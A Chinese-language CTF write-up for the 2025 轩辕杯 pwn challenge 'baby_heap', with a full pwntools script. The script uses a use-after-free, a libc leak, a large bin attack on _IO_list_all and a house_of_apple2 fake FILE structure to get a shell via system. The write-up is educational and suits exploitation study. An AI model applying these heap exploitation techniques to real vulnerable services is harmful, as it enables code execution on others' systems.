轩辕杯2025 Pwn baby_heap WP(house_of_apple2)

checksec:

保护全开 64位

IDA64打开 整理函数

add:

最多能申请17个chunk,只能申请0x410以上大小的chunk,也就是只能申请large bin对应的chunk

edit:

正常的编辑

delete:

存在UAF漏洞,且只能free两次

show:

正常展示出内容

发现只能申请large chunk,,存在UAF漏洞,所以先利用Large bin泄露libc基址:

python 复制代码
add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)
add(4, 0x500)
show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21b0e0
print(hex(libc_base))

因为有UAF 泄露基址相对容易

接下来利用Large bin attack把IO_list_all地址改为堆地址

python 复制代码
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']

fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)

把chunk1的bk_nextsize编辑为_IO_list_all-0x20,其他不变

chunk3比chunk1要小,插入时不会检查bk_nextsize 从而能够覆盖目标地址

可以看到,_IO_list_all的位置成功指向的chunk3的地址

再下一步,就是泄露堆地址并利用house of apple2打

python 复制代码
show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)

设置的FILE结构体检查要求:

_IO_write_ptr > _IO_write_base 1 > 0

_IO_buf_base置为0

fileno为有效数字,这里设置为2:标准错误流(只要是有效的fileno就可以)

_old_offset&_offset=-1:表示无有效偏移量

_IO_wide_data:指向Fake_Fake_IO_wide_data的地址(伪造的),这里需要用调试得出

fake vtable:指向_IO_wfile_jumps_addr 虚函数表 house of apple的控制程序流套路

Fake_Fake_IO_wide_data:伪造的_IO_wide_data,在偏移0xe0位写入Fake_wide_vtable所在地址

Fake_wide_vtable:伪造的_IO_jump_t ,其中偏移为0x68的位置为__doallocate 将其改写为system函数

再把Fake_wide_vtable对应的堆填满直到相邻堆的size位,将其修改为' sh'(对应fake_file的flag位),这也是为什么chunk2要设置成0x458,是为了将下一个chunk的size位修改了

最后再调用exit()就能get shell

总exp:

python 复制代码
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./babyheap')
libc = ELF('./libc.so.6')
def add(index, size):
    p.sendlineafter(b"choice:\n", b'1')
    p.sendlineafter(b'index:\n', str(index))
    p.sendlineafter(b'size:\n' , str(size))

def delete(index):
    p.sendlineafter(b'choice:\n' , b'2')
    p.sendlineafter(b'index:\n' , str(index))

def edit(index,message):
    p.sendlineafter(b'choice:\n' , b'3')
    p.sendlineafter(b'index:\n' , str(index))
    p.sendlineafter(b'content:\n' , message)

def show(index):
    p.sendlineafter(b'choice:\n' , b'4')
    p.sendlineafter(b'index:\n' , str(index))

gdb.attach(p)

add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)

show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21ace0
print(hex(libc_base))
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']

fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)

show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)

p.sendlineafter(b"choice:\n", str(5)) #exit(0)
p.interactive()
相关推荐
飞翔的SA11 小时前
EmDash:WordPress 精神继承者,重构内容管理系统(CMS) 安全与现代架构
安全·重构·架构·cms
卷卷说风控11 小时前
工作流的 Skill 怎么写?
java·javascript·人工智能·chrome·安全
流觞 无依11 小时前
DedeCMS plus/digg.php 顶踩注入(SQL注入)修复教程
sql·安全·php
188号安全攻城狮11 小时前
【前端基础知识】JavaScript 数组方法总结:从表格速查到分类详解
开发语言·前端·javascript·网络安全
Turboex邮件分享11 小时前
邮件系统中的抗拒绝服务(DDoS)攻击防护
运维·网络·安全·ddos·软件需求
arvin_xiaoting11 小时前
OpenClaw学习总结_IV_认证与安全_3:Authorization与Policies详解
学习·安全
知识分享小能手11 小时前
MongoDB入门学习教程,从入门到精通,MongoDB 安全完全指南(19)
学习·安全·mongodb
Lyyaoo.11 小时前
【JAVA基础面经】线程安全的单例模式
java·安全·单例模式
汽车仪器仪表相关领域11 小时前
NHXJ-02汽车悬架检验台 实操型实战手册
人工智能·功能测试·测试工具·算法·安全·单元测试·可用性测试
EasyGBS11 小时前
国密GB35114+国标GB28181平台EasyGBS双标护航为交通视频监控筑牢安全防线
安全